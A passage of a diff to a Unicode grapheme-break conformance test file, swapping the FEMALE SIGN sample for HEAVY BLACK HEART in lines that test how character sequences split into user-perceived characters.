JOINER (ZWJ) ÷ [0.3] -÷ 000A ÷ 2640 ÷ # ÷ [0.2] (LF) ÷ [4.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 000A ÷ 0308 ÷ 2640 ÷ # ÷ [0.2] (LF) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 000A ÷ 2764 ÷ # ÷ [0.2] (LF) ÷ [4.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 000A ÷ 0308 ÷ 2764 ÷ # ÷ [0.2] (LF) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 000A ÷ 1F466 ÷ # ÷ [0.2] (LF) ÷ [4.0] BOY (EBG) ÷ [0.3] ÷ 000A ÷ 0308 ÷ 1F466 ÷ # ÷ [0.2] (LF) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 000A ÷ 0378 ÷ # ÷ [0.2] (LF) ÷ [4.0] (Other) ÷ [0.3] @@ -174,8 +173,8 @@ ÷ 0001 ÷ 0308 ÷ 1F3FB ÷ # ÷ [0.2] (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0001 ÷ 200D ÷ # ÷ [0.2] (Control) ÷ [4.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 0001 ÷ 0308 × 200D ÷ # ÷ [0.2] (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 0001 ÷ 2640 ÷ # ÷ [0.2] (Control) ÷ [4.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0001 ÷ 0308 ÷ 2640 ÷ # ÷ [0.2] (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0001 ÷ 2764 ÷ # ÷ [0.2] (Control) ÷ [4.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0001 ÷ 0308 ÷ 2764 ÷ # ÷ [0.2] (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0001 ÷ 1F466 ÷ # ÷ [0.2] (Control) ÷ [4.0] BOY (EBG) ÷ [0.3] ÷ 0001 ÷ 0308 ÷ 1F466 ÷ # ÷ [0.2] (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0001 ÷ 0378 ÷ # ÷ [0.2] (Control) ÷ [4.0] (Other) ÷ [0.3] @@ -214,8 +213,8 @@ ÷ 0300 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0300 × 200D ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 0300 × 0308 × 200D ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 0300 ÷ 2640 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0300 × 0308 ÷ 2640 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0300 ÷ 2764 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0300 × 0308 ÷ 2764 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0300 ÷ 1F466 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0300 × 0308 ÷ 1F466 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0300 ÷ 0378 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend) ÷ [999.0] (Other) ÷ [0.3] @@ -254,8 +253,8 @@ ÷ 0600 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0600 × 200D ÷ # ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 0600 × 0308 × 200D ÷ # ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 0600 × 2640 ÷ # ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.2] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0600 × 0308 ÷ 2640 ÷ # ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0600 × 2764 ÷ # ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0600 × 0308 ÷ 2764 ÷ # ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0600 × 1F466 ÷ # ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.2] BOY (EBG) ÷ [0.3] ÷ 0600 × 0308 ÷ 1F466 ÷ # ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0600 × 0378 ÷ # ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.2] (Other) ÷ [0.3] @@ -294,8 +293,8 @@ ÷ 0903 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0903 × 200D ÷ # ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 0903 × 0308 × 200D ÷ # ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 0903 ÷ 2640 ÷ # ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0903 × 0308 ÷ 2640 ÷ # ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0903 ÷ 2764 ÷ # ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0903 × 0308 ÷ 2764 ÷ # ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0903 ÷ 1F466 ÷ # ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0903 × 0308 ÷ 1F466 ÷ # ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0903 ÷ 0378 ÷ # ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [999.0] (Other) ÷ [0.3] @@ -334,8 +333,8 @@ ÷ 1100 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 1100 × 200D ÷ # ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 1100 × 0308 × 200D ÷ # ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 1100 ÷ 2640 ÷ # ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 1100 × 0308 ÷ 2640 ÷ # ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 1100 ÷ 2764 ÷ # ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 1100 × 0308 ÷ 2764 ÷ # ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 1100 ÷ 1F466 ÷ # ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1100 × 0308 ÷ 1F466 ÷ # ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1100 ÷ 0378 ÷ # ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) ÷ [999.0] (Other) ÷ [0.3] @@ -374,8 +373,8 @@ ÷ 1160 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] HANGUL JUNGSEONG FILLER (V) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 1160 × 200D ÷ # ÷ [0.2] HANGUL JUNGSEONG FILLER (V) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 1160 × 0308 × 200D ÷ # ÷ [0.2] HANGUL JUNGSEONG FILLER (V) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 1160 ÷ 2640 ÷ # ÷ [0.2] HANGUL JUNGSEONG FILLER (V) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 1160 × 0308 ÷ 2640 ÷ # ÷ [0.2] HANGUL JUNGSEONG FILLER (V) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 1160 ÷ 2764 ÷ # ÷ [0.2] HANGUL JUNGSEONG FILLER (V) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 1160 × 0308 ÷ 2764 ÷ # ÷ [0.2] HANGUL JUNGSEONG FILLER (V) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 1160 ÷ 1F466 ÷ # ÷ [0.2] HANGUL JUNGSEONG FILLER (V) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1160 × 0308 ÷ 1F466 ÷ # ÷ [0.2] HANGUL JUNGSEONG FILLER (V) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1160 ÷ 0378 ÷ # ÷ [0.2] HANGUL JUNGSEONG FILLER (V) ÷ [999.0] (Other) ÷ [0.3] @@ -414,8 +413,8 @@ ÷ 11A8 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 11A8 × 200D ÷ # ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 11A8 × 0308 × 200D ÷ # ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 11A8 ÷ 2640 ÷ # ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 11A8 × 0308 ÷ 2640 ÷ # ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 11A8 ÷ 2764 ÷ # ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 11A8 × 0308 ÷ 2764 ÷ # ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 11A8 ÷ 1F466 ÷ # ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 11A8 × 0308 ÷ 1F466 ÷ # ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 11A8 ÷ 0378 ÷ # ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) ÷ [999.0] (Other) ÷ [0.3] @@ -454,8 +453,8 @@ ÷ AC00 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] HANGUL SYLLABLE GA (LV) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ AC00 × 200D ÷ # ÷ [0.2] HANGUL SYLLABLE GA (LV) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ AC00 × 0308 × 200D ÷ # ÷ [0.2] HANGUL SYLLABLE GA (LV) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ AC00 ÷ 2640 ÷ # ÷ [0.2] HANGUL SYLLABLE GA (LV) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ AC00 × 0308 ÷ 2640 ÷ # ÷ [0.2] HANGUL SYLLABLE GA (LV) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ AC00 ÷ 2764 ÷ # ÷ [0.2] HANGUL SYLLABLE GA (LV) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ AC00 × 0308 ÷ 2764 ÷ # ÷ [0.2] HANGUL SYLLABLE GA (LV) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ AC00 ÷ 1F466 ÷ # ÷ [0.2] HANGUL SYLLABLE GA (LV) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ AC00 × 0308 ÷ 1F466 ÷ # ÷ [0.2] HANGUL SYLLABLE GA (LV) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ AC00 ÷ 0378 ÷ # ÷ [0.2] HANGUL SYLLABLE GA (LV) ÷ [999.0] (Other) ÷ [0.3] @@ -494,8 +493,8 @@ ÷ AC01 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] HANGUL SYLLABLE GAG (LVT) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ AC01 × 200D ÷ # ÷ [0.2] HANGUL SYLLABLE GAG (LVT) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ AC01 × 0308 × 200D ÷ # ÷ [0.2] HANGUL SYLLABLE GAG (LVT) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ AC01 ÷ 2640 ÷ # ÷ [0.2] HANGUL SYLLABLE GAG (LVT) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ AC01 × 0308 ÷ 2640 ÷ # ÷ [0.2] HANGUL SYLLABLE GAG (LVT) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ AC01 ÷ 2764 ÷ # ÷ [0.2] HANGUL SYLLABLE GAG (LVT) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ AC01 × 0308 ÷ 2764 ÷ # ÷ [0.2] HANGUL SYLLABLE GAG (LVT) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ AC01 ÷ 1F466 ÷ # ÷ [0.2] HANGUL SYLLABLE GAG (LVT) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ AC01 × 0308 ÷ 1F466 ÷ # ÷ [0.2] HANGUL SYLLABLE GAG (LVT) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ AC01 ÷ 0378 ÷ # ÷ [0.2] HANGUL SYLLABLE GAG (LVT) ÷ [999.0] (Other) ÷ [0.3] @@ -534,8 +533,8 @@ ÷ 1F1E6 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 1F1E6 × 200D ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 1F1E6 × 0308 × 200D ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 1F1E6 ÷ 2640 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 1F1E6 × 0308 ÷ 2640 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 1F1E6 ÷ 2764 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 1F1E6 × 0308 ÷ 2764 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 1F1E6 ÷ 1F466 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1F1E6 × 0308 ÷ 1F466 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1F1E6 ÷ 0378 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] (Other) ÷ [0.3] @@ -574,8 +573,8 @@ ÷ 261D × 0308 × 1F3FB ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [9.0] COMBINING DIAERESIS (Extend) × [10.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 261D × 200D ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 261D × 0308 × 200D ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 261D ÷ 2640 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 261D × 0308 ÷ 2640 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 261D ÷ 2764 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 261D × 0308 ÷ 2764 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 261D ÷ 1F466 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 261D × 0308 ÷ 1F466 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 261D ÷ 0378 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] (Other) ÷ [0.3] @@ -614,8 +613,8 @@ ÷ 1F3FB × 0308 ÷ 1F3FB ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 1F3FB × 200D ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 1F3FB × 0308 × 200D ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 1F3FB ÷ 2640 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 1F3FB × 0308 ÷ 2640 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 1F3FB ÷ 2764 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 1F3FB × 0308 ÷ 2764 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 1F3FB ÷ 1F466 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1F3FB × 0308 ÷ 1F466 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1F3FB ÷ 0378 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] (Other) ÷ [0.3] @@ -654,54 +653,54 @@ ÷ 200D × 0308 ÷ 1F3FB ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 200D × 200D ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 200D × 0308 × 200D ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 200D × 2640 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 200D × 0308 ÷ 2640 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 200D × 2764 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 200D × 0308 ÷ 2764 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 200D × 1F466 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] BOY (EBG) ÷ [0.3] ÷ 200D × 0308 ÷ 1F466 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 200D ÷ 0378 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) ÷ [999.0] (Other) ÷ [0.3] ÷ 200D × 0308 ÷ 0378 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] (Other) ÷ [0.3] ÷ 200D ÷ D800 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) ÷ [5.0] (Control) ÷ [0.3] ÷ 200D × 0308 ÷ D800 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] (Control) ÷ [0.3] -÷ 2640 ÷ 0020 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] SPACE (Other) ÷ [0.3] -÷ 2640 × 0308 ÷ 0020 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] SPACE (Other) ÷ [0.3] -÷ 2640 ÷ 000D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [5.0] (CR) ÷ [0.3] -÷ 2640 × 0308 ÷ 000D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] (CR) ÷ [0.3] -÷ 2640 ÷ 000A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [5.0] (LF) ÷ [0.3] -÷ 2640 × 0308 ÷ 000A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] (LF) ÷ [0.3] -÷ 2640 ÷ 0001 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [5.0] (Control) ÷ [0.3] -÷ 2640 × 0308 ÷ 0001 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] (Control) ÷ [0.3] -÷ 2640 × 0300 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING GRAVE ACCENT (Extend) ÷ [0.3] -÷ 2640 × 0308 × 0300 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) 